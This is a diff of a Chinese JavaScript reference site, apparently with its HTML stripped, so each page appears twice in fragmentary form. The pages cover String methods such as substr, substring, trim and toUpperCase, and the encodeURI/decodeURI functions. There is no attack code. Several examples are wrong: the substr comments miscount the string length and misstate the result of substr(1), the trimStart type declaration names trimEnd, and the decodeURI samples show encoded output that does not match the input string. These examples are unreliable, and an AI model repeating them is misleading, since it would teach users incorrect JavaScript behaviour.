                                                                                                                                • 如果省略了 length 参数,则一直复制到字符串的结尾。

                                                                                                                                示例

                                                                                                                                代码示例

                                                                                                                                var str = 'Hello world!';
                                                                                                                                +

                                                                                                                                JavaScript Guidebook

                                                                                                                                JavaScript 完全知识体系

                                                                                                                                String.prototype.substr()

                                                                                                                                substr() 函数用于返回当前字符串中一个连续的片段。

                                                                                                                                语法

                                                                                                                                语法:

                                                                                                                                str.substr( from [, length] )

                                                                                                                                类型声明:

                                                                                                                                interface String {
                                                                                                                                substr(from: number, length?: number): string;
                                                                                                                                }

                                                                                                                                参数说明:

                                                                                                                                参数说明类型
                                                                                                                                from指向字符串指定部分的开头的索引。number
                                                                                                                                length可选,返回的子字符串片段中包含的字符数。number

                                                                                                                                方法说明

                                                                                                                                substr() 函数从 str 的索引 from 处开始复制,直到复制 length 个字符或字符串的结尾为止。

                                                                                                                                • 如果 from 为正值,且大于或等于字符串的长度,则返回一个空字符串。
                                                                                                                                • 如果 from 为负值,则将其视为 str.length + from 开始的一个字符索引。若 str.length + from 大于字符串的长度,则使用 0 作为开始提取的索引。
                                                                                                                                • 如果 length 为负数或 0,则不会复制任何字符,返回空字符串。
                                                                                                                                • 如果省略了 length 参数,则一直复制到字符串的结尾。

                                                                                                                                代码示例

                                                                                                                                基本用法

                                                                                                                                var str = 'Hello world!';
                                                                                                                                // 开始索引为1,截取长度为2
                                                                                                                                str.substr(1, 2);
                                                                                                                                // 'el'
                                                                                                                                // 开始索引为 -3+10=7,截取长度为2
                                                                                                                                str.substr(-3, 2);
                                                                                                                                // 'or'
                                                                                                                                // 开始索引为 -3+10=7,截取长度为延伸至字符结尾
                                                                                                                                str.substr(-3);
                                                                                                                                // 'orld!'
                                                                                                                                // 开始索引为 1,截取长度为延伸至字符结尾
                                                                                                                                str.substr(1);
                                                                                                                                // 'Hello world!'
                                                                                                                                // 开始索引为 -20+10=-10 即 0,截取长度为2
                                                                                                                                str.substr(-20, 2);
                                                                                                                                // 'He'
                                                                                                                                // 开始索引为 20 大于字符串长度(返回空字符串),截取长度为 2
                                                                                                                                str.substr(20, 2);
                                                                                                                                // ''
                                                                                                                                -
                                                                                                                                // 开始索引为 0,截取长度为 -1 和 0(返回空字符串)
                                                                                                                                str.substr(0, -1);
                                                                                                                                // ''
                                                                                                                                str.substr(0, 0);
                                                                                                                                // ''

                                                                                                                                Polyfill

                                                                                                                                Microsoft's JScript 不支持负数的 startIndex 参数,如果想充分利用该方法,需要使用下面的兼容代码修复 BUG:

                                                                                                                                // only run when the substr function is broken
                                                                                                                                if ('ab'.substr(-1) != 'b') {
                                                                                                                                /**
                                                                                                                                * Get the substring of a string
                                                                                                                                * @param {integer} start where to start the substring
                                                                                                                                * @param {integer} length how many characters to return
                                                                                                                                * @return {string}
                                                                                                                                */
                                                                                                                                String.prototype.substr = (function (substr) {
                                                                                                                                return function (start, length) {
                                                                                                                                // did we get a negative start, calculate how much it is
                                                                                                                                // from the beginning of the string
                                                                                                                                if (start < 0) start = this.length + start;
                                                                                                                                -
                                                                                                                                // call the original function
                                                                                                                                return substr.call(this, start, length);
                                                                                                                                };
                                                                                                                                })(String.prototype.substr);
                                                                                                                                }
                                                                                                                                +
                                                                                                                                // 开始索引为 0,截取长度为 -1 和 0(返回空字符串)
                                                                                                                                str.substr(0, -1);
                                                                                                                                // ''
                                                                                                                                str.substr(0, 0);
                                                                                                                                // ''

                                                                                                                                兼容性代码

                                                                                                                                Microsoft's JScript 不支持负数的 from 参数,如果想充分利用该方法,需要使用下面的兼容代码修复 BUG:

                                                                                                                                // only run when the substr function is broken
                                                                                                                                if ('ab'.substr(-1) != 'b') {
                                                                                                                                /**
                                                                                                                                * Get the substring of a string
                                                                                                                                * @param {integer} start where to start the substring
                                                                                                                                * @param {integer} length how many characters to return
                                                                                                                                * @return {string}
                                                                                                                                */
                                                                                                                                String.prototype.substr = (function (substr) {
                                                                                                                                return function (start, length) {
                                                                                                                                // did we get a negative start, calculate how much it is
                                                                                                                                // from the beginning of the string
                                                                                                                                if (start < 0) start = this.length + start;
                                                                                                                                +
                                                                                                                                // call the original function
                                                                                                                                return substr.call(this, start, length);
                                                                                                                                };
                                                                                                                                })(String.prototype.substr);
                                                                                                                                }

                                                                                                                                参考资料

                                                                                                                                - + diff --git a/standard-built-in-objects/text-processing/string/substring/index.html b/standard-built-in-objects/text-processing/string/substring/index.html index 24678cba5..31f45aa68 100644 --- a/standard-built-in-objects/text-processing/string/substring/index.html +++ b/standard-built-in-objects/text-processing/string/substring/index.html @@ -7,28 +7,31 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + String.prototype.substring - JavaScript Guidebook -

                                                                                                                                JavaScript Guidebook

                                                                                                                                JavaScript 完全知识体系

                                                                                                                                String.prototype.substring()

                                                                                                                                substring() 函数用于返回当前字符串中一个连续的片段。

                                                                                                                                语法

                                                                                                                                str.substring(startIndex [, indexEnd])
                                                                                                                                参数描述类型
                                                                                                                                startIndex指向字符串指定部分的开头的索引。number
                                                                                                                                endIndex可选,指向字符串指定部分的结尾的索引(不包括该索引)。number

                                                                                                                                描述

                                                                                                                                substring() 函数的返回值为 String 类型,返回当前字符串索引 [startIndex, endIndex) 之间的连续字符所组成的字符串(不包括 endIndex)。

                                                                                                                                substring() 函数的参数顺序是不固定的,该函数将自动使用 startIndexendIndex 中较小的值作为起始索引,较大的值作为结尾索引。

                                                                                                                                • 如果省略 indexEndsubstring() 提取字符一直到字符串末尾。
                                                                                                                                • 如果任一参数为负数或 NaN,则将其置为 0。
                                                                                                                                • 如果任一参数大于 str.length,则被当作 str.length
                                                                                                                                • 如果 startIndex 等于 endIndex,则不会复制任何字符,返回空字符串。
                                                                                                                                • 如果 startIndex 大于 endIndex,则 substring() 的执行效果就像两个参数调换了一样。例如,str.substring(1, 0) 等价于 str.substring(0, 1)

                                                                                                                                示例

                                                                                                                                代码示例

                                                                                                                                下例使用 substring 输出字符串 "Mozilla" 中的字符:

                                                                                                                                var str = 'abcdefghij';
                                                                                                                                +

                                                                                                                                JavaScript Guidebook

                                                                                                                                JavaScript 完全知识体系

                                                                                                                                String.prototype.substring()

                                                                                                                                substring() 函数用于返回当前字符串中一个连续的片段。

                                                                                                                                语法

                                                                                                                                语法:

                                                                                                                                str.substring(start [, end])

                                                                                                                                类型声明:

                                                                                                                                interface String {
                                                                                                                                substring(start: number, end?: number): string;
                                                                                                                                }

                                                                                                                                参数说明:

                                                                                                                                参数描述类型
                                                                                                                                start指向字符串指定部分的开头的索引number
                                                                                                                                end可选,指向字符串指定部分的结尾的索引(不包括该索引)number

                                                                                                                                方法说明

                                                                                                                                substring() 函数的返回值为 String 类型,返回当前字符串索引 [start, end) 之间的连续字符所组成的字符串(不包括 end)。

                                                                                                                                substring() 函数的参数顺序是不固定的,该函数将自动使用 startend 中较小的值作为起始索引,较大的值作为结尾索引。

                                                                                                                                • 如果省略 endsubstring() 提取字符一直到字符串末尾。
                                                                                                                                • 如果任一参数为负数或 NaN,则将其置为 0。
                                                                                                                                • 如果任一参数大于 str.length,则被当作 str.length
                                                                                                                                • 如果 start 等于 end,则不会复制任何字符,返回空字符串。
                                                                                                                                • 如果 start 大于 end,则 substring() 的执行效果就像两个参数调换了一样。例如,str.substring(1, 0) 等价于 str.substring(0, 1)

                                                                                                                                代码示例

                                                                                                                                基本用法

                                                                                                                                下例使用 substring 输出字符串 "Mozilla" 中的字符:

                                                                                                                                var str = 'abcdefghij';
                                                                                                                                // 开始索引为0,结束索引省略即复制字符到字符串末尾
                                                                                                                                str.substring(0);
                                                                                                                                // 'abcdefghij'
                                                                                                                                // 开始索引为0,结束索引为2
                                                                                                                                str.substring(0, 2);
                                                                                                                                // 'ab'
                                                                                                                                // 开始索引为负数即为0,结束索引为2
                                                                                                                                str.substring(-2, 2);
                                                                                                                                // 'ab'
                                                                                                                                @@ -41,12 +44,12 @@
                                                                                                                                console.log(word4);
                                                                                                                                // 'ghij'
                                                                                                                                // Displays 'fghij' the last 5 characters
                                                                                                                                var word = 'abcdefghij';
                                                                                                                                var word5 = word.substring(word.length - 5);
                                                                                                                                console.log(word5);
                                                                                                                                // 'fghij'

                                                                                                                                删除字符末尾子字符

                                                                                                                                const removeTail = function (str) {
                                                                                                                                if (str === null || str.length === 0) return str;
                                                                                                                                const len = str.length;
                                                                                                                                -
                                                                                                                                return str.substring(0, len - 1);
                                                                                                                                };
                                                                                                                                +
                                                                                                                                return str.substring(0, len - 1);
                                                                                                                                };

                                                                                                                                参考资料

                                                                                                                                - + diff --git a/standard-built-in-objects/text-processing/string/to-lower-case/index.html b/standard-built-in-objects/text-processing/string/to-lower-case/index.html index 437f55f2e..941e384c2 100644 --- a/standard-built-in-objects/text-processing/string/to-lower-case/index.html +++ b/standard-built-in-objects/text-processing/string/to-lower-case/index.html @@ -7,34 +7,37 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + String.prototype.toLowerCase - JavaScript Guidebook -

                                                                                                                                JavaScript Guidebook

                                                                                                                                JavaScript 完全知识体系

                                                                                                                                String.prototype.toLowerCase()

                                                                                                                                toLowerCase() 函数用于将当前字符串的所有字母转为小写,并返回转换后的字符串。该函数基于常规的 Unicode 大小写映射进行转换。

                                                                                                                                语法

                                                                                                                                str.toLowerCase();

                                                                                                                                描述

                                                                                                                                toLowerCase 将调用该方法的字符串值转换为小写形式,并返回。toLowerCase() 方法不影响字符串本身的值,返回的是新的字符串。

                                                                                                                                示例

                                                                                                                                var abc = 'ABC';
                                                                                                                                -
                                                                                                                                abc.toLowerCase();
                                                                                                                                // 'abc'
                                                                                                                                +

                                                                                                                                JavaScript Guidebook

                                                                                                                                JavaScript 完全知识体系

                                                                                                                                String.prototype.toLowerCase()

                                                                                                                                toLowerCase() 函数用于将当前字符串的所有字母转为小写,并返回转换后的字符串。该函数基于常规的 Unicode 大小写映射进行转换。

                                                                                                                                语法

                                                                                                                                语法:

                                                                                                                                str.toLowerCase();

                                                                                                                                类型声明:

                                                                                                                                interface String {
                                                                                                                                toLowerCase(): string;
                                                                                                                                }

                                                                                                                                方法说明

                                                                                                                                toLowerCase 将调用该方法的字符串值转换为小写形式,并返回。toLowerCase() 方法不影响字符串本身的值,返回的是新的字符串。

                                                                                                                                代码示例

                                                                                                                                var abc = 'ABC';
                                                                                                                                +
                                                                                                                                abc.toLowerCase();
                                                                                                                                // 'abc'

                                                                                                                                参考资料

                                                                                                                                - + diff --git a/standard-built-in-objects/text-processing/string/to-upper-case/index.html b/standard-built-in-objects/text-processing/string/to-upper-case/index.html index e9139bed9..861d24045 100644 --- a/standard-built-in-objects/text-processing/string/to-upper-case/index.html +++ b/standard-built-in-objects/text-processing/string/to-upper-case/index.html @@ -7,34 +7,37 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + String.prototype.toUpperCase - JavaScript Guidebook -

                                                                                                                                JavaScript Guidebook

                                                                                                                                JavaScript 完全知识体系

                                                                                                                                String.prototype.toUpperCase()

                                                                                                                                toUpperCase() 函数用于将当前字符串中的所有字母转为大写,并返回转换后的字符串。该函数基于常规的 Unicode 大小写映射进行转换。

                                                                                                                                语法

                                                                                                                                str.toUpperCase();

                                                                                                                                描述

                                                                                                                                toUpperCase 将调用该方法的字符串值转换为大写形式,并返回。toUpperCase 方法不影响字符串本身的值,返回的是新的字符串。

                                                                                                                                示例

                                                                                                                                var abc = 'abc';
                                                                                                                                -
                                                                                                                                abc.toUpperCase();
                                                                                                                                // 'ABC'
                                                                                                                                +

                                                                                                                                JavaScript Guidebook

                                                                                                                                JavaScript 完全知识体系

                                                                                                                                String.prototype.toUpperCase()

                                                                                                                                toUpperCase() 函数用于将当前字符串中的所有字母转为大写,并返回转换后的字符串。该函数基于常规的 Unicode 大小写映射进行转换。

                                                                                                                                语法

                                                                                                                                语法:

                                                                                                                                str.toUpperCase();

                                                                                                                                类型声明:

                                                                                                                                interface String {
                                                                                                                                toUpperCase(): string;
                                                                                                                                }

                                                                                                                                方法说明

                                                                                                                                toUpperCase 将调用该方法的字符串值转换为大写形式,并返回。toUpperCase 方法不影响字符串本身的值,返回的是新的字符串。

                                                                                                                                代码示例

                                                                                                                                var abc = 'abc';
                                                                                                                                +
                                                                                                                                abc.toUpperCase();
                                                                                                                                // 'ABC'

                                                                                                                                参考资料

                                                                                                                                - + diff --git a/standard-built-in-objects/text-processing/string/trim-end/index.html b/standard-built-in-objects/text-processing/string/trim-end/index.html index 431b24a6d..4aed806cc 100644 --- a/standard-built-in-objects/text-processing/string/trim-end/index.html +++ b/standard-built-in-objects/text-processing/string/trim-end/index.html @@ -7,37 +7,40 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + String.prototype.trimEnd - JavaScript Guidebook -

                                                                                                                                JavaScript Guidebook

                                                                                                                                JavaScript 完全知识体系

                                                                                                                                String.prototype.trimEnd()

                                                                                                                                trimEnd() 从字符串的末端移除空白字符,trimRight 是这个方法的别名。

                                                                                                                                语法

                                                                                                                                str.trimEnd();

                                                                                                                                trimEnd() 方法并不影响原字符串本身,它返回的是一个新的字符串。

                                                                                                                                示例

                                                                                                                                var foo = ' foo ';
                                                                                                                                +

                                                                                                                                JavaScript Guidebook

                                                                                                                                JavaScript 完全知识体系

                                                                                                                                String.prototype.trimEnd()

                                                                                                                                ⭐️ ES2019(ES10)新特性

                                                                                                                                trimEnd() 从字符串的末端移除空白字符,trimRight 是这个方法的别名。

                                                                                                                                语法

                                                                                                                                语法:

                                                                                                                                str.trimEnd();

                                                                                                                                类型声明:

                                                                                                                                interface String {
                                                                                                                                trimEnd(): string;
                                                                                                                                }

                                                                                                                                返回值:

                                                                                                                                trimEnd() 方法并不影响原字符串本身,它返回的是一个新的字符串。

                                                                                                                                代码示例

                                                                                                                                var foo = ' foo ';
                                                                                                                                console.log(foo.length);
                                                                                                                                // 9
                                                                                                                                foo = foo.trimEnd();
                                                                                                                                console.log(foo.length);
                                                                                                                                // 6
                                                                                                                                -
                                                                                                                                console.log(foo);
                                                                                                                                // 'foo '
                                                                                                                                +
                                                                                                                                console.log(foo);
                                                                                                                                // 'foo '

                                                                                                                                参考资料

                                                                                                                                - + diff --git a/standard-built-in-objects/text-processing/string/trim-start/index.html b/standard-built-in-objects/text-processing/string/trim-start/index.html index 25190c769..3efe4242d 100644 --- a/standard-built-in-objects/text-processing/string/trim-start/index.html +++ b/standard-built-in-objects/text-processing/string/trim-start/index.html @@ -7,37 +7,40 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + String.prototype.trimStart - JavaScript Guidebook -

                                                                                                                                JavaScript Guidebook

                                                                                                                                JavaScript 完全知识体系

                                                                                                                                String.prototype.trimStart()

                                                                                                                                trimStart() 从字符串开头删除空格, trimLeft 是这个方法的别名。

                                                                                                                                语法

                                                                                                                                str.trimStart();

                                                                                                                                trimStart() 方法并不影响原字符串本身,它返回的是一个新的字符串。

                                                                                                                                示例

                                                                                                                                var foo = ' foo ';
                                                                                                                                +

                                                                                                                                JavaScript Guidebook

                                                                                                                                JavaScript 完全知识体系

                                                                                                                                String.prototype.trimStart()

                                                                                                                                ⭐️ ES2019(ES10)新特性

                                                                                                                                trimStart() 从字符串开头删除空格, trimLeft 是这个方法的别名。

                                                                                                                                语法

                                                                                                                                语法:

                                                                                                                                str.trimStart();

                                                                                                                                类型声明:

                                                                                                                                interface String {
                                                                                                                                trimEnd(): string;
                                                                                                                                }

                                                                                                                                返回值:

                                                                                                                                trimStart() 方法并不影响原字符串本身,它返回的是一个新的字符串。

                                                                                                                                代码示例

                                                                                                                                var foo = ' foo ';
                                                                                                                                console.log(foo.length);
                                                                                                                                // 9
                                                                                                                                foo = foo.trimStart();
                                                                                                                                console.log(foo.length);
                                                                                                                                // 6
                                                                                                                                -
                                                                                                                                console.log(foo);
                                                                                                                                // 'foo '
                                                                                                                                +
                                                                                                                                console.log(foo);
                                                                                                                                // 'foo '

                                                                                                                                参考资料

                                                                                                                                - + diff --git a/standard-built-in-objects/text-processing/string/trim/index.html b/standard-built-in-objects/text-processing/string/trim/index.html index e6d2802b2..5183c4612 100644 --- a/standard-built-in-objects/text-processing/string/trim/index.html +++ b/standard-built-in-objects/text-processing/string/trim/index.html @@ -7,35 +7,38 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + String.prototype.trim - JavaScript Guidebook -

                                                                                                                                JavaScript Guidebook

                                                                                                                                JavaScript 完全知识体系

                                                                                                                                String.prototype.trim()

                                                                                                                                trim() 方法会从一个字符串的两端删除空白字符。在这个上下文中的空白字符是所有的空白字符(space, tab, no-break space 等)以及所有行终止符字符(如 LFCR)。

                                                                                                                                语法

                                                                                                                                str.trim();

                                                                                                                                trim() 方法并不影响原字符串本身,它返回的是一个新的字符串。

                                                                                                                                示例

                                                                                                                                代码示例

                                                                                                                                var foo = ' foo ';
                                                                                                                                +

                                                                                                                                JavaScript Guidebook

                                                                                                                                JavaScript 完全知识体系

                                                                                                                                String.prototype.trim()

                                                                                                                                trim() 方法会从一个字符串的两端删除空白字符。在这个上下文中的空白字符是所有的空白字符(space, tab, no-break space 等)以及所有行终止符字符(如 LFCR)。

                                                                                                                                语法

                                                                                                                                语法:

                                                                                                                                str.trim();

                                                                                                                                类型声明:

                                                                                                                                interface String {
                                                                                                                                trim(): string;
                                                                                                                                }

                                                                                                                                返回值:

                                                                                                                                trim() 方法并不影响原字符串本身,它返回的是一个新的字符串。

                                                                                                                                代码示例

                                                                                                                                基本用法

                                                                                                                                var foo = ' foo ';
                                                                                                                                foo.trim();
                                                                                                                                // 'foo'

                                                                                                                                另一个 trim() 例子,只从一边删除

                                                                                                                                var bar = 'bar ';
                                                                                                                                -
                                                                                                                                bar.trim();
                                                                                                                                // 'bar'

                                                                                                                                Polyfill

                                                                                                                                if (!String.prototype.trim) {
                                                                                                                                String.prototype.trim = function () {
                                                                                                                                return this.replace(/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g, '');
                                                                                                                                };
                                                                                                                                }
                                                                                                                                +
                                                                                                                                bar.trim();
                                                                                                                                // 'bar'

                                                                                                                                兼容性代码

                                                                                                                                if (!String.prototype.trim) {
                                                                                                                                String.prototype.trim = function () {
                                                                                                                                return this.replace(/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g, '');
                                                                                                                                };
                                                                                                                                }

                                                                                                                                参考资料

                                                                                                                                - + diff --git a/standard-built-in-objects/the-global-object/function-properties/decode-uri/index.html b/standard-built-in-objects/the-global-object/function-properties/decode-uri/index.html index 94a83468f..194689089 100644 --- a/standard-built-in-objects/the-global-object/function-properties/decode-uri/index.html +++ b/standard-built-in-objects/the-global-object/function-properties/decode-uri/index.html @@ -7,35 +7,38 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + decodeURI - JavaScript Guidebook -

                                                                                                                                JavaScript Guidebook

                                                                                                                                JavaScript 完全知识体系

                                                                                                                                decodeURI

                                                                                                                                decodeURI() 函数用于对已编码的统一资源标识符(URI)进行解码,并返回其非编码形式。

                                                                                                                                该函数属于 Global 对象,所有主流浏览器均支持该函数。

                                                                                                                                语法

                                                                                                                                decodeURI(encodedURIString);
                                                                                                                                参数类型说明
                                                                                                                                encodedURIStringString 类型已编码的 URI 字符串

                                                                                                                                decodeURI() 函数的返回值是 string 类型,返回一个已经解码的 URI。

                                                                                                                                将已编码 URI 中所有能识别的转义序列转换成原字符,但不能解码那些不会被 encodeURI 编码的内容(例如 #)。

                                                                                                                                示例

                                                                                                                                let a = 'Hello JavaScript!';
                                                                                                                                let b = encodeURI(a);
                                                                                                                                +

                                                                                                                                JavaScript Guidebook

                                                                                                                                JavaScript 完全知识体系

                                                                                                                                decodeURI

                                                                                                                                decodeURI() 函数用于对已编码的统一资源标识符(URI)进行解码,并返回其非编码形式。

                                                                                                                                该函数属于 Global 对象,所有主流浏览器均支持该函数。

                                                                                                                                语法

                                                                                                                                decodeURI(encodedURIString);
                                                                                                                                参数类型说明
                                                                                                                                encodedURIStringString 类型已编码的 URI 字符串

                                                                                                                                decodeURI() 函数的返回值是 string 类型,返回一个已经解码的 URI。

                                                                                                                                将已编码 URI 中所有能识别的转义序列转换成原字符,但不能解码那些不会被 encodeURI 编码的内容(例如 #)。

                                                                                                                                示例

                                                                                                                                let a = 'Hello JavaScript!';
                                                                                                                                let b = encodeURI(a);
                                                                                                                                console.log(b);
                                                                                                                                // return '%E4%BD%A0%E5%A5%BDJavascript!'
                                                                                                                                -
                                                                                                                                let c = decodeURI(b);
                                                                                                                                // return '你好Javascript!'
                                                                                                                                +
                                                                                                                                let c = decodeURI(b);
                                                                                                                                // return '你好Javascript!'
                                                                                                                                - + diff --git a/standard-built-in-objects/the-global-object/function-properties/decode-uricomponent/index.html b/standard-built-in-objects/the-global-object/function-properties/decode-uricomponent/index.html index f6ee243a0..6a4453439 100644 --- a/standard-built-in-objects/the-global-object/function-properties/decode-uricomponent/index.html +++ b/standard-built-in-objects/the-global-object/function-properties/decode-uricomponent/index.html @@ -7,35 +7,38 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + decodeURIComponent - JavaScript Guidebook -

                                                                                                                                JavaScript Guidebook

                                                                                                                                JavaScript 完全知识体系

                                                                                                                                decodeURIComponent

                                                                                                                                decodeURIComponent() 函数用于对统一资源标识符(URI)的一个已编码的组件进行解码,并返回其非编码形式。

                                                                                                                                该函数属于Global对象,所有主流浏览器均支持该函数。

                                                                                                                                所谓的 URI 组件,就是 URI 的一部分,尤其是 URI 的参数部分。

                                                                                                                                语法

                                                                                                                                decodeURIComponent(encodedURIString);
                                                                                                                                参数类型说明
                                                                                                                                encodedURIStringString 类型已编码的 URI 字符串

                                                                                                                                如果参数 encodedURIString 无效,将引发 URIError 错误。

                                                                                                                                decodeURIComponent() 函数的返回值是 String 类型,返回一个已经解码的 URI 组件。

                                                                                                                                示例

                                                                                                                                var a = 'Hello JavaScript';
                                                                                                                                var b = encodeURIComponent(a);
                                                                                                                                +

                                                                                                                                JavaScript Guidebook

                                                                                                                                JavaScript 完全知识体系

                                                                                                                                decodeURIComponent

                                                                                                                                decodeURIComponent() 函数用于对统一资源标识符(URI)的一个已编码的组件进行解码,并返回其非编码形式。

                                                                                                                                该函数属于Global对象,所有主流浏览器均支持该函数。

                                                                                                                                所谓的 URI 组件,就是 URI 的一部分,尤其是 URI 的参数部分。

                                                                                                                                语法

                                                                                                                                decodeURIComponent(encodedURIString);
                                                                                                                                参数类型说明
                                                                                                                                encodedURIStringString 类型已编码的 URI 字符串

                                                                                                                                如果参数 encodedURIString 无效,将引发 URIError 错误。

                                                                                                                                decodeURIComponent() 函数的返回值是 String 类型,返回一个已经解码的 URI 组件。

                                                                                                                                示例

                                                                                                                                var a = 'Hello JavaScript';
                                                                                                                                var b = encodeURIComponent(a);
                                                                                                                                console.log(b);
                                                                                                                                // return '%E4%BD%A0%E5%A5%BDJavascript'
                                                                                                                                -
                                                                                                                                var c = decodeURIComponent(b);
                                                                                                                                console.log(c);
                                                                                                                                // return '你好Javascript'
                                                                                                                                +
                                                                                                                                var c = decodeURIComponent(b);
                                                                                                                                console.log(c);
                                                                                                                                // return '你好Javascript'
                                                                                                                                - + diff --git a/standard-built-in-objects/the-global-object/function-properties/encode-uri/index.html b/standard-built-in-objects/the-global-object/function-properties/encode-uri/index.html index 0cd435ed2..78c0971e7 100644 --- a/standard-built-in-objects/the-global-object/function-properties/encode-uri/index.html +++ b/standard-built-in-objects/the-global-object/function-properties/encode-uri/index.html @@ -7,35 +7,38 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + encodeURI - JavaScript Guidebook -

                                                                                                                                JavaScript Guidebook

                                                                                                                                JavaScript 完全知识体系

                                                                                                                                encodeURI

                                                                                                                                encodeURI() 函数可把 URI 字符串采用 UTF-8 编码格式转化成 escape 格式的字符串。

                                                                                                                                该函数属于 Global 对象,所有主流浏览器均支持该函数。

                                                                                                                                语法

                                                                                                                                encodeURI(URIString);
                                                                                                                                参数类型说明
                                                                                                                                URIStringString 类型需要编码的 URI 字符串

                                                                                                                                该方法返回一个已经编码的 URI 字符串。

                                                                                                                                说明

                                                                                                                                如果要对使用 encodeURI() 函数编码的 URI 字符串进行解码,请使用 decodeURI() 函数。

                                                                                                                                encodeURI() 函数不编码字符有 82 个 !#$'()*+,-./:;=?@_~0-9a-zA-Z

                                                                                                                                如果你只是想编码一个带有特殊字符(比如中文)的 URI,这个 URI 用作请求地址,请使用本函数。

                                                                                                                                如果你想把 URI 当作请求参数传递,那么你可以使用 encodeURIComponent() 函数。encodeURIComponent() 函数会编码所有的字符。

                                                                                                                                示例

                                                                                                                                // 原URI
                                                                                                                                var ftpUri = 'ftp://192.168.0.100/共享文件夹';
                                                                                                                                +

                                                                                                                                JavaScript Guidebook

                                                                                                                                JavaScript 完全知识体系

                                                                                                                                encodeURI

                                                                                                                                encodeURI() 函数可把 URI 字符串采用 UTF-8 编码格式转化成 escape 格式的字符串。

                                                                                                                                该函数属于 Global 对象,所有主流浏览器均支持该函数。

                                                                                                                                语法

                                                                                                                                encodeURI(URIString);
                                                                                                                                参数类型说明
                                                                                                                                URIStringString 类型需要编码的 URI 字符串

                                                                                                                                该方法返回一个已经编码的 URI 字符串。

                                                                                                                                说明

                                                                                                                                如果要对使用 encodeURI() 函数编码的 URI 字符串进行解码,请使用 decodeURI() 函数。

                                                                                                                                encodeURI() 函数不编码字符有 82 个 !#$'()*+,-./:;=?@_~0-9a-zA-Z

                                                                                                                                如果你只是想编码一个带有特殊字符(比如中文)的 URI,这个 URI 用作请求地址,请使用本函数。

                                                                                                                                如果你想把 URI 当作请求参数传递,那么你可以使用 encodeURIComponent() 函数。encodeURIComponent() 函数会编码所有的字符。

                                                                                                                                示例

                                                                                                                                // 原URI
                                                                                                                                var ftpUri = 'ftp://192.168.0.100/共享文件夹';
                                                                                                                                // 编码URI
                                                                                                                                var encodedFtpUri = encodeURI(ftpUri);
                                                                                                                                console.log(encodedFtpUri); // ftp://192.168.0.100/%E5%85%B1%E4%BA%AB%E6%96%87%E4%BB%B6%E5%A4%B9
                                                                                                                                -
                                                                                                                                // 解码URI
                                                                                                                                var decodedFtpUri = decodeURI(encodedFtpUri);
                                                                                                                                console.log(decodedFtpUri); // ftp://192.168.0.100/共享文件夹
                                                                                                                                +
                                                                                                                                // 解码URI
                                                                                                                                var decodedFtpUri = decodeURI(encodedFtpUri);
                                                                                                                                console.log(decodedFtpUri); // ftp://192.168.0.100/共享文件夹
                                                                                                                                - + diff --git a/standard-built-in-objects/the-global-object/function-properties/encode-uricomponent/index.html b/standard-built-in-objects/the-global-object/function-properties/encode-uricomponent/index.html index f3d9a5b25..5ace6d4ec 100644 --- a/standard-built-in-objects/the-global-object/function-properties/encode-uricomponent/index.html +++ b/standard-built-in-objects/the-global-object/function-properties/encode-uricomponent/index.html @@ -7,35 +7,38 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + encodeURIComponent - JavaScript Guidebook -

                                                                                                                                JavaScript Guidebook

                                                                                                                                JavaScript 完全知识体系

                                                                                                                                encodeURIComponent

                                                                                                                                encodeURIComponent() 函数用于对统一资源标识符(URI)的有效组件进行编码,并返回编码后的字符串。

                                                                                                                                该函数属于 Global 对象,所有主流浏览器均支持该函数。

                                                                                                                                语法

                                                                                                                                encodeURIComponent(URIString);
                                                                                                                                参数类型说明
                                                                                                                                URIStringString 类型需要编码的 URI 组件字符串

                                                                                                                                encodeURIComponent() 函数的返回值是 string 类型,返回一个编码后的 URI 组件字符串。

                                                                                                                                说明

                                                                                                                                • 如果要对使用encodeURIComponent() 函数编码后的 URI 组件字符串进行解码,请使用 decodeURIComponent() 函数。
                                                                                                                                • encodeURIComponent() 函数会编码所有的字符。如果你想把 URI 当作请求参数传递,那么你可以使用本函数。如果你只是想编码一个带有特殊字符(比如中文)的 URI,这个 URI 用作请求地址,请使用 encodeURI 函数。

                                                                                                                                示例

                                                                                                                                代码示例

                                                                                                                                // 原 URI 组件
                                                                                                                                var origin = 'ftp://192.168.0.100/共享文件夹';
                                                                                                                                +

                                                                                                                                JavaScript Guidebook

                                                                                                                                JavaScript 完全知识体系

                                                                                                                                encodeURIComponent

                                                                                                                                encodeURIComponent() 函数用于对统一资源标识符(URI)的有效组件进行编码,并返回编码后的字符串。

                                                                                                                                该函数属于 Global 对象,所有主流浏览器均支持该函数。

                                                                                                                                语法

                                                                                                                                encodeURIComponent(URIString);
                                                                                                                                参数类型说明
                                                                                                                                URIStringString 类型需要编码的 URI 组件字符串

                                                                                                                                encodeURIComponent() 函数的返回值是 string 类型,返回一个编码后的 URI 组件字符串。

                                                                                                                                说明

                                                                                                                                • 如果要对使用encodeURIComponent() 函数编码后的 URI 组件字符串进行解码,请使用 decodeURIComponent() 函数。
                                                                                                                                • encodeURIComponent() 函数会编码所有的字符。如果你想把 URI 当作请求参数传递,那么你可以使用本函数。如果你只是想编码一个带有特殊字符(比如中文)的 URI,这个 URI 用作请求地址,请使用 encodeURI 函数。

                                                                                                                                示例

                                                                                                                                代码示例

                                                                                                                                // 原 URI 组件
                                                                                                                                var origin = 'ftp://192.168.0.100/共享文件夹';
                                                                                                                                // 编码 URI 组件
                                                                                                                                var encodedUri = encodeURIComponent(origin);
                                                                                                                                document.writeln(encodedUri); // ftp%3A%2F%2F192.168.0.100%2F%E5%85%B1%E4%BA%AB%E6%96%87%E4%BB%B6%E5%A4%B9
                                                                                                                                -
